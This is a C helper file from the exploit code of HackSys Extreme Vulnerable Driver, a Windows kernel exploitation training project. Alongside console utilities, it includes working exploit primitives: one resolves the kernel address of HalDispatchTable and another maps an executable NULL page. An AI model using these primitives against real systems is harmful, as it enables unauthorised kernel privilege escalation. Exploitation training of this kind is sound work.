hacksysteam-HackSysExtremeVulnerableDriver/Exploit/Source/Common.c

#include "Common.h"

VOID ClearScreen()
{
    // https://msdn.microsoft.com/en-us/library/windows/desktop/ms682022(v=vs.85).aspx

    DWORD dwConSize;
    HANDLE hConsole;
    DWORD cCharsWritten;
    COORD coordScreen = {0, 0};
    CONSOLE_SCREEN_BUFFER_INFO csbi;

    hConsole = GetStdHandle(STD_OUTPUT_HANDLE);

    if (!GetConsoleScreenBufferInfo(hConsole, &csbi)) {
        return;
    }

    dwConSize = csbi.dwSize.X * csbi.dwSize.Y;

    if (!FillConsoleOutputCharacter(hConsole,
                                    (TCHAR)' ',
                                    dwConSize,
                                    coordScreen,
                                    &cCharsWritten )) {
        return;
    }

    if (!GetConsoleScreenBufferInfo(hConsole, &csbi)) {
        return;
    }

    if (!FillConsoleOutputAttribute(hConsole,
                                    csbi.wAttributes,
                                    dwConSize,
                                    coordScreen,
                                    &cCharsWritten)) {
        return;
    }

    SetConsoleCursorPosition(hConsole, coordScreen);
}


VOID ColoredConsoleOuput(WORD wColor, CONST PTCHAR fmt, ...) {
    SIZE_T length = 0;
    PTCHAR debugString;
    va_list args = NULL;
    HANDLE hConsoleOutput;
    WORD wCurrentAttributes;
    CONSOLE_SCREEN_BUFFER_INFO consoleScreenBufferInfo;

    va_start(args, fmt);
    length = _vscprintf(fmt, args) + 2;
    debugString = (PTCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length * sizeof(TCHAR));
    hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE);
    GetConsoleScreenBufferInfo(hConsoleOutput, &consoleScreenBufferInfo);
    wCurrentAttributes = consoleScreenBufferInfo.wAttributes;
    SetConsoleTextAttribute(hConsoleOutput, FOREGROUND_INTENSITY | wColor);

    vfprintf(stderr, fmt, args);
    vsprintf_s(debugString, length, fmt, args);
    OutputDebugString(debugString);

    SetConsoleTextAttribute(hConsoleOutput, wCurrentAttributes);
    va_end(args);
    HeapFree(GetProcessHeap(), 0, (LPVOID)debugString);
}

VOID CenterConsoleScreen() {
    HWND hConsoleWindow = GetConsoleWindow();
    int xPos = (GetSystemMetrics(SM_CXSCREEN) - 680) / 2;
    int yPos = ((GetSystemMetrics(SM_CYSCREEN) - 350) / 2) - 150;
    MoveWindow(hConsoleWindow, xPos, yPos, 700, 600, TRUE);
}

HANDLE GetDeviceHandle(LPCSTR lpFileName) {
    HANDLE hFile = NULL;

    hFile = CreateFile(lpFileName,
                       GENERIC_READ | GENERIC_WRITE,
                       FILE_SHARE_READ | FILE_SHARE_WRITE,
                       NULL,
                       OPEN_EXISTING,
                       FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
                       NULL);

    return hFile;
}

DWORD GetProcessID(LPCSTR processName) {
    ULONG processID = 0;
    HANDLE hProcessSnapshot = NULL;
    PROCESSENTRY32 processEntry32 = {0};
    processEntry32.dwSize = sizeof(PROCESSENTRY32);

    // create the snapshot of all process
    hProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (!hProcessSnapshot) {
        CloseHandle(hProcessSnapshot);
        DEBUG_ERROR("\t\t[-] Failed Creating Snapshot Of Processes: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    if (!Process32First(hProcessSnapshot, &processEntry32)) {
        CloseHandle(hProcessSnapshot);
        DEBUG_ERROR("\t\t[-] Failed To Get Info About First Process: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    do {
        if (strcmp(processName, processEntry32.szExeFile) == 0) {
            processID = processEntry32.th32ProcessID;
            break;
        }
    } while (Process32Next(hProcessSnapshot, &processEntry32));

    CloseHandle(hProcessSnapshot);

    return processID;
}

PVOID GetHalDispatchTable() {
    PCHAR kernelImage;
    NTSTATUS ntStatus;
    SIZE_T returnLength;
    HMODULE hNtDll = NULL;
    PVOID pHalDispatchTable = 0;
    HMODULE hKernelInUserMode = NULL;
    PVOID pKernelBaseAddressInKernelMode;
    PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;

    hNtDll = LoadLibrary("ntdll.dll");

    if (!hNtDll) {
        DEBUG_ERROR("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");

    if (!NtQuerySystemInformation) {
        DEBUG_ERROR("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    ntStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &returnLength);

    pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
                                                                     HEAP_ZERO_MEMORY,
                                                                     returnLength);

    if (!pSystemModuleInformation) {
        DEBUG_ERROR("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    ntStatus = NtQuerySystemInformation(SystemModuleInformation,
                                        pSystemModuleInformation,
                                        returnLength,
                                        &returnLength);

    if (ntStatus != STATUS_SUCCESS) {
        DEBUG_ERROR("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    pKernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
    kernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1;

    DEBUG_INFO("\t\t\t[+] Loaded Kernel: %s\n", kernelImage);
    DEBUG_INFO("\t\t\t[+] Kernel Base Address: 0x%p\n", pKernelBaseAddressInKernelMode);
    
    hKernelInUserMode = LoadLibraryA(kernelImage);

    if (!hKernelInUserMode) {
        DEBUG_ERROR("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    // this is still in user mode
    pHalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable");

    if (!pHalDispatchTable) {
        DEBUG_ERROR("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    else {
        pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable - (ULONG)hKernelInUserMode);

        // here we get the address of HapDispatchTable in Kernel mode
        pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable + (ULONG)pKernelBaseAddressInKernelMode);

        DEBUG_INFO("\t\t\t[+] HalDispatchTable: 0x%p\n", pHalDispatchTable);
    }

    HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);

    return pHalDispatchTable;
}

BOOL MapNullPage() {
    HMODULE hNtdll;
    PVOID baseAddress = (PVOID)0x00000001; // will be rounded down to the next host
                                           // page size address boundary -> 0x00000000

    SIZE_T regionSize = 0x1000;            // will be rounded up to the next host
                                           // page size address boundary -> 0x2000
    NTSTATUS ntStatus;

    hNtdll = GetModuleHandle("ntdll.dll");

    // grab the address of NtAllocateVirtualMemory
    NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

    if (!NtAllocateVirtualMemory) {
        DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    // allocate the memory
    ntStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF, &baseAddress, 0, &regionSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);

    if (ntStatus != STATUS_SUCCESS) {
        DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n", ntStatus);
        exit(EXIT_FAILURE);
    }
    else {
        DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", baseAddress);
        DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", regionSize);
    }

    FreeLibrary(hNtdll);

    return TRUE;
}